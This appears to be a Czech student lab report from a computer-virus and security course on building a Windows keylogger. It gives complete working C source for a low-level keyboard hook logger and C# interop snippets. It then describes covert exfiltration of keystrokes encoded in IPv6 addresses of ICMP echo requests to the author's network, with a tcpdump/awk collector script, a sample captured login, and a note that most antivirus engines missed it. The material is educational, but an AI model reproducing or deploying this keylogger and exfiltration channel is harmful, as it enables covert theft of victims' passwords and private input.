

Protokol 1: Keylogger
Počítačové viry a bezpečnost počítačových
systémů

Daniel Trnka, TRN0038

23. února 2019

Keylogger je program zachytávající stisky kláves, které následně ukládá či posílá pryč z počítače oběti. Někdy se však může jednat i o legitimní činnost, kdy se sbírají data o používání aplikace, které slouží k jejímu následnému vylepšení.

Systém Windows zasílá události jako stisk kláves do aktivních (focused) aplikací pomocí zpráv. Pro funkční příjem zpráv je zapotřebí vytvořit okno a číst zprávy pomocí funkce `GetMessage(...)`.

Abychom byli schopní číst všechny stisknuté klávesy tak si musíme zaregistrovat tzv. *hook*, který se provede ještě před tím než se zpráva doručí do aktivního okna. Pro zachytávání události na klávesnici existují dva typy hooks - *WH_KEYBOARD* a *WH_KEYBOARD_LL*. Hook *WH_KEYBOARD_LL* lze ale použít i bez okna - je však nutné zavolat funkci `GetMessage(...)`. Proces v této funkci zůstane (funkce se neopustí, protože nikdy nepřijde žádná zpráva) a zajistí volání callback hooku.

Callback pro daný hook se registruje pomocí funkce `SetWindowsHookExA(...)` z dynamické knihovny *user32.dll*:

```
HHOOK SetWindowsHookExA(  
    int          idHook,  
    HOOKPROC     lpfn,  
    HINSTANCE     hmod,  
    DWORD        dwThreadId  
);
```

Funkce vrací identifikátor zaregistrovaného hooku (je to `void**`) pro jeho možnou pozdější odregistraci pomocí `UnhookWindowsHookEx(HHOOK hook)`. Prvním argumentem je typ hooku. Konstanta *WH_KEYBOARD_LL* je 13. Dalším argumentem je ukazatel na funkci typu:

```
LRESULT(int code, WPARAM wParam, LPARAM lParam)
```

Další dva parametry nemají pro *WH_KEYBOARD_LL* využití a jsou nastaveny na nulovou hodnotu.

První argument callbacku uvádí, zda se má provést jeho obsluha. Další argument typu `unsigned int` značí událost klávesnice jako *WM_KEYDOWN* a *WM_KEYUP*. Posledním argumentem je ukazatel na strukturu *KBDLLHOOKSTRUCT**.

```
struct KBDLLHOOKSTRUCT {  
    DWORD        vkCode;
```

```

        DWORD    scanCode;
        DWORD    flags;
        DWORD    time;
        ULONG_PTR dwExtraInfo;
    }

```

Struktura obsahuje identifikaci stisknuté klávesy *vkCode*¹ a také *scanCode*, který je identifikaci pro konkrétní klávesnici. Hodnota *vkCode* označuje klávesu, bez ohledu na nastaveném layoutu klávesnice či zmáčknutého SHIFT/CAPS LOCK. Pro zjištění, který znak byl skutečně zadán lze použít funkci `ToAscii(...)`:

```

int ToAscii(
    UINT        uVirtKey,
    UINT        uScanCode,
    const BYTE *lpKeyState,
    LPWORD      lpChar,
    UINT        uFlags
);

```

Funkce očekává v prvních dvou argumentech *vkCode* a *scanCode*. V dalším argumentu očekává pole o velikosti 255 bajtů, která značí stav stisknutých kláves dle značení virtual-key. Pokud je klávesa stisknutá tak je na odpovídajícím indexu nastaven nejvyšší bit - hexadecimálně *0x80*. Pokud je zapnutý CAPS LOCK, tak je nastaveny nejnižší bit.

Aby fungoval správně převod na velká/malá písmena tak bylo nutné nastavit klávesu `VK_SHIFT` při stisknutí levého nebo pravého SHIFT.

Do argumentu *lpChar* funkce uloží maximálně dva znaky. Dva znaky jsou navraceny pokud uživatel zadal klávesu pro diakritické znaménko a neplatný znak. Platná kombinace vytvoří znak *ó*, neplatná dva znaky: *´f*.

Pro univerzální keylogger by bylo vhodnější použít alternativní funkci `ToUnicode(...)`.

Na závěr je však nutné, aby funkce zavolala `CallNextHookEx` čímž se může zavolat hook v další aplikaci. Pokud bychom danou funkci nezavolali a vrátili 0, tak se další aplikace nedozví o stisknuté klávese. Dále je také nutné podotknout, že obsluha nesmí být blokující a trvat dlouho, jinak ostatní aplikace budou dostávat události opožděně.

¹<https://docs.microsoft.com/en-us/windows/desktop/inputdev/virtual-key-codes>

Další alternativou je použití funkce `SHORT GetAsyncKeyState(int vKey)`, kdy aplikace testuje všechny požadované virt keys. Řešení pak vede k busy waiting, kdy se procesorový čas spotřebovává jen na kontrolu, zda nedošlo ke stisku klávesy. Další nevýhodou je, že funkce vrací pouze informaci, zda byla klávesa zmáčknuta od posledního zavolání - tudíž nejsme schopní zjistit počet opakovaných stisku jedné klávesy.

```
#include <windows.h>
#include <stdio.h>

HHOOK hook_handle;
BYTE keys[256];

LRESULT CALLBACK cb(int nCode, WPARAM wParam, LPARAM lParam) {
    KBDLLHOOKSTRUCT* evt = (KBDLLHOOKSTRUCT*) lParam;
    if(nCode == HC_ACTION) {
        if(wParam == WM_KEYDOWN) {
            switch(evt->vkCode) {
                case VK_LSHIFT:
                case VK_RSHIFT:
                    keys[VK_SHIFT] = 0x80;
                    break;

                case VK_CAPITAL:
                    keys[VK_CAPITAL] ^= 0x01;
                    break;

                default:
                    keys[evt->vkCode] = 0x80;
            }

            WORD str[2];
            if(ToAscii(evt->vkCode, evt->scanCode, keys, str, 0) == 1) {
                printf("%c", str[0]);
            }
        } else if(wParam == WM_KEYUP) {
            switch(evt->vkCode) {
                case VK_LSHIFT:
```

```

        case VK_RSHIFT:
            keys[VK_SHIFT] = 0;
            /* fall through */
        default:
            if(evt->vkCode != VK_CAPITAL) {
                keys[evt->vkCode] = 0;
            }
        }
    }
}

return CallNextHookEx(hook_handle, nCode, wParam, (LPARAM) evt);
}

int main() {
    hook_handle = SetWindowsHookEx(WH_KEYBOARD_LL, cb, NULL, 0);
    if(!hook_handle) {
        printf("could not install hook\n");
        return 1;
    }

    if(GetKeyboardState(keys) == 0) {
        printf("could not get keyboard state\n");
    }

    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

```

Výpis 1: Zachytávání kláves pomocí hooku v C

Z uvedené ukázky je vidět, že přístup k Windows API je jednoduché - deklarace funkce a konstant jsou v hlavičkových souborech a knihovna *user32.dll* je přilinkována. Použití v jazyce C# bez externích knihoven se mírně komplikuje, protože se musí uvesti dynamická knihovna *user32.dll* do procesu v době běhu namapovat a následně získat ukazatele na dané funkce. Dále je nutné si vytvořit i konstanty.

Pro zpřístupnění funkce z DLL se vytvoří funkce se stejným názvem a klíčovým slovem *extern*, které značí, že implementace bude dodána později. Dále se k dané funkci přidá atribut *DllImport*, ve kterém se uvede dynamická knihovna obsahující požadovaný symbol:

```
delegate IntPtr LowLevelKeyboardProc(
    int nCode,
    IntPtr wParam,
    IntPtr lParam
);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr SetWindowsHookEx(
    int idHook,
    LowLevelKeyboardProc lpfn,
    IntPtr hMod,
    uint dwThreadId
);
```

Získat data ze struktury *KBDLLHOOKSTRUCT* lze například pomocí *Marshal*. První dva argumenty struktury jsou 32bitové čísla, které lze získat pomocí:

```
int vkCode = Marshal.ReadInt32(lParam);
int scanCode = Marshal.ReadInt32(lParam, 4);
```

Dalším zádrhelem je, že životnost proměnné s callbackem hook funkce musí být po celou dobu, kdy je hook zaregistrován. V opačném případě se proměnná uvolní garbage collectorem nebo ji nahradí jiná data na stacku, čímž pak může hook skočit do neplatné funkce.

Zachycený ASCII text je převeden do hexadecimálního formátu a vložen do spodních 64 bitů IPv6 sítě 2001:470:5816:f::/64 (viz obrázek 1). Je zde místo až pro 8 znaků. Na vytvořenou adresu je následně odeslán ICMP echo-request paket.

2001:470:5816:f:6168:6f6a::
a h o j

Obrázek 1: Uložení znaků do IPv6 adresy

Síť 2001:470:5816::/48 je nasměrovaná na router, který má ve směrovací tabulce záznam, aby pakety do sítě 2001:470:5816:f::/64 směřoval dále na Raspberry Pi, na kterém lze jednoduše zachytávat přijaté pakety pomocí programu *tcpdump* a následně extrahovat pomocí *awk* znaky s ukládáním do souboru dle zdrojové IPv6 adresy. Zaznamenaný text lze jednoduše sledovat pomocí:

```
$ tail -f /tmp/keylogger/2001\:470\:5816\:0\:78d2\:8e8d\:e526\:580a  
facebook.comuser@example.comya3EeJai7zee9ch
```

Raspberry Pi ještě obsahuje routovací záznam, aby odpovídal na ICMP echo požadavky z celé sítě:

```
route add local 2001:470:5816:f::/64 dev lo
```

Keylogger byl označený jako malicious pouze u 10 antivirů z 61:

 10 engines detected this file <div>SHA-256 65851fec08d37c1bfcad1bed78c86af889512bdfefad61a788ba51898372b8 File name Keylogger.exe File size 9 KB Last analysis 2019-02-23 13:14:17 UTC</div>			
10 / 61			
Detection	Details	Community	
Avira	⚠️ HEUR/AGEN.1029967	CrowdStrike Falcon	⚠️ malicious_confidence_60% (D)
Cybereason	⚠️ malicious.adeba2	Cyren	⚠️ W32/Keylogger.AG.gen!Eldorado
F-Secure	⚠️ Heuristic.HEUR/AGEN.1029967	GData	⚠️ MSIL.Trojan-Spy.Petun.D
Malwarebytes	⚠️ Trojan.Logger	Trapmine	⚠️ suspicious.low.ml.score
VBA32	⚠️ Trojan.MSIL.gen.4	Webroot	⚠️ System.Monitor.Keylogger.Gen
Acronis	✅ Clean	Ad-Aware	✅ Clean

```

#!/bin/bash
net="2001:470:5816:f::/64"
out_dir=/tmp/keylogger/

ip route add local "$net" dev lo

tcpdump -l -i any "icmp6[icmptype] == icmp6-echo and dst net $net" \
  | awk -v out_dir="$out_dir" -f <(cat - <<-'SCRIPT'
function save_char(n, ip) {
    n = strtonum("0x"n)

    if(n == 0xd) {
        n = 0xa;
    }

    if((n >= 0x20 && n < 0x80) || n == 0xa) {
        printf("%c", n) >> out_dir ip
    }
}

{
    split($5, a, ":");
    for(i = 4; i < length(a); i++) {
        save_char(substr(a[i], 1, 2), $3)
        save_char(substr(a[i], 3, 2), $3)
    }
    fflush()
}
SCRIPT
)

```

Výpis 2: Skript pro sběr zachycených znaků z ICMP echo request paketů